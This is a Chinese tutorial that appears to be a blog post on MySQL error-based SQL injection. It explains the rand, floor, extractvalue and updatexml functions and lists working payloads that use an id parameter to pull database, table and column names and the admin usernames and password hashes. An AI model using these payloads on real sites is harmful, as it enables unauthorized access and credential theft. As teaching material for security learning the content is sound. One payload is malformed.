web-报错注入

必要的函数

rand

select rand(0) from hackbiao;

rand(0):生成以0开头的随机数,生成的数量与字段下数据的条数相等。如果i没有这个地段的话,就会自己形成一个新的字段打印出来。

count和group by

grouip by在进行排序的时候,会生成一个虚拟机的表进行排序,但是它不会打印出来

复制代码
select username,count(username)x from hackbiao group by username;

floor

向下取整,例如0.9=0

复制代码
select floor(rand(0)*2)x from hackbiao;

extractvalue

复制代码
extractvalue(1,2)
#1:对象  2:路径
#2原本要写的是路径,但是如果路径(XPATH)不对的话,就要把我们要写的sql语句带进去执行,然后同报错信息一起呈现出来

updatexml

复制代码
updatexml(1,2,3)
#1:对象 2:路径 3:修改内容
#跟extractvule一样,当2的路径错了的时候,就会把我们的sql语句带进去执行,然后同报错信息一起显示出来

操作

update

查询数据库

id=12 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

id=12 and updatexml(1,concat(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)

查询数据表

id=130 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查询表下的字段(admin表下)

id=130 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='admin'),0x7e),1)

读取数据

id=130 and updatexml(1,concat(0x7e,(select group_concat(username,'.........',password) from admin),0x7e),1)

这里是可以看到回显数据是不完整的,看这个感觉就是32位的md5加密。

用长度验证一下猜想,果然是32位。具体数值用substring函数就可以读取了

id=130 and updatexml(1,concat(0x7e,(select password from admin where length(password)=32),0x7e),1)

extractvalue

读取数据库

id=12 and extractvalue(1,concat(0x7e,(select database()),0x7e))

读取数据表

id=12 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='qdm123287303_db'),0x7e))

读取数据

id=130 and extractvalue(1,concat(0x7e,(select password from admin),0x7e))

id=130 and extractvalue(1,concat(0x7e,substring((select password from admin),30,10),0x7e))

相关推荐
Htr_18 分钟前
Anysite.io 使用指南:把整个 Web 变成 AI 智能体的数据库
前端·数据库·人工智能
Lyra_Infra32 分钟前
记一次麒麟 Linux 下达梦数据库 (DM8) 部署与 MySQL 命令行无界面迁移踩坑指南
数据库·后端·dba
晚安日记wanna33 分钟前
只会答加索引MySQL 调优还能聊这 7 个点
数据库·面试
YHHLAI35 分钟前
从零理解 Agent Memory 管理:内存记忆、文件持久化与上下文截断
数据库·oracle
cspttty1 小时前
2026市场分析师校招能力模型:SQL、Excel、BI与业务分析
大数据·数据库
AIGC大时代1 小时前
OpenAI Agents SDK 工程笔记:tool 调用循环、max_turns 与生产禁区
服务器·数据库·笔记·tool·max_turns·functiontool·生产禁区
zcmodeltech1 小时前
能源电力沙盘模型控制系统设计——基于STM32与Modbus RTU的“发—输—变—配—用”全链条动态展示方案
数据库·stm32·单片机·嵌入式硬件·能源
李兆龙的博客1 小时前
从一到无穷大 #91:从 Habitat 看存储平台的整合与分工
数据库·人工智能·架构
惜分飞2 小时前
记录一次0丢失的ORA-00354: 损坏重做日志块标头故障恢复---惜分飞
数据库·oracle
无风听海2 小时前
深入解析 Elasticsearch 的 match_phrase_prefix与 match_bool_prefix
大数据·elasticsearch·mybatis